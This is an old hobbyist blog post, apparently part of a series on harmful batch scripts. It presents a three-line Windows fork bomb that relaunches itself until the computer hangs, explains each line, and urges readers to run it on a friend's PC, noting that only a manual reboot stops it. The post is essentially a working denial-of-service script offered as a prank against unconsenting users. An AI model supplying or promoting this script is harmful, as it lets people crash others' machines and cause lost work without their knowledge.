Good To Know:


Oopsie!Either you knew everything or there was a problem in fetching my facts

Posted by : Unknown Friday, 2 August 2013

Batch programming

Today lets try another deadly batch program,its a simple recursive batch that keeps on calling itself until the computer runs out of memory and finally hangs,

code:

:loop
start rec.bat
goto loop



copy the above code and save it as "rec.bat" remember,the name is also important so,better don't change it.

and now execute it in your friends pc,thats it!

Explanation:
  • :loop -indicates the start of a looping statement
  • start rec.bat -instructs the dos to start up "rec.bat" in another instance
  • goto loop -again go back to the starting of the loop statement
you can see the results of the code in the below video:







  • To stop it you need to manually reboot your system,
  • advantages of this file over the previous,is this method you need not clean up the mess after reboot,because no copies of the file are created,
for futhur modifications check out the attachments section or the fatal bats series 

Leave a Reply

Subscribe to Posts | Subscribe to Comments

Translate

Blogger Tips and Tricks

Popular Post

Random post

- Copyright © smartify me -

- Administered by Krishna Chaitanya -
Google+